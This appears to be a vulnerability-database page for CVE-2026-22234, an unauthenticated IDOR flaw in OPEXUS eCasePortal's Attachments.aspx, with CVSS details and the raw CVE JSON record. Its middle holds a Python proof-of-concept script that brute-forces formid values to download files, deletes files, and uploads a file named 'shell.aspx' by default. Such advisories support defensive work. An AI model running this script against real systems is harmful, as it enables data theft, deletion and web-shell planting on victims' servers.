Security Vulnerability Report
中文
CVE-2026-22234 CVSS 9.8 CRITICAL

CVE-2026-22234

Published: 2026-01-08 18:16:00
Last Modified: 2026-02-18 14:05:10
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

OPEXUS eCasePortal before version 9.0.45.0 allows an unauthenticated attacker to navigate to the 'Attachments.aspx' endpoint, iterate through predictable values of 'formid', and download or delete all user-uploaded files, or upload new files.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:opexustech:ecase_portal:*:*:*:*:*:*:*:* - VULNERABLE
OPEXUS eCasePortal < 9.0.45.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-22234 PoC - OPEXUS eCasePortal Unauthenticated File Operation # Target: OPEXUS eCasePortal < 9.0.45.0 # Vulnerability: IDOR on Attachments.aspx with predictable formid parameter TARGET_URL = "http://target-server/Attachments.aspx" def download_file(formid): """Download arbitrary file using predictable formid""" params = {"formid": formid} try: response = requests.get(TARGET_URL, params=params, timeout=10) if response.status_code == 200: print(f"[+] File found with formid={formid}") return response.content except: pass return None def delete_file(formid): """Delete arbitrary file using predictable formid""" data = {"formid": formid, "action": "delete"} try: response = requests.post(TARGET_URL, data=data, timeout=10) if response.status_code == 200: print(f"[+] File deleted with formid={formid}") return True except: pass return False def upload_file(filepath): """Upload arbitrary file to the system""" files = {"file": open(filepath, "rb")} data = {"action": "upload"} try: response = requests.post(TARGET_URL, files=files, data=data, timeout=10) if response.status_code == 200: print(f"[+] File uploaded successfully: {filepath}") return True except: pass return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-22234.py <mode> [args]") print("Modes: download, delete, upload") return mode = sys.argv[1] if mode == "download": for i in range(1, 1001): download_file(i) elif mode == "delete": formid = int(sys.argv[2]) if len(sys.argv) > 2 else 1 delete_file(formid) elif mode == "upload": filepath = sys.argv[2] if len(sys.argv) > 2 else "shell.aspx" upload_file(filepath) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22234", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2026-01-08T18:16:00.380", "lastModified": "2026-02-18T14:05:09.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OPEXUS eCasePortal before version 9.0.45.0 allows an unauthenticated attacker to navigate to the 'Attachments.aspx' endpoint, iterate through predictable values of 'formid', and download or delete all user-uploaded files, or upload new files."}, {"lang": "es", "value": "OPEXUS eCasePortal anterior a la versión 9.0.45.0 permite a un atacante no autenticado navegar al endpoint 'Attachments.aspx', iterar a través de valores predecibles de 'formid', y descargar o eliminar todos los archivos subidos por el usuario, o subir nuevos archivos."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opexustech:ecase_portal:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.0.45.0", "matchCriteriaId": "925D4EE5-4C8E-43F6-9F2E-5DC1CB429F9D"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-26-008-02.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Broken Link"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-22234", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}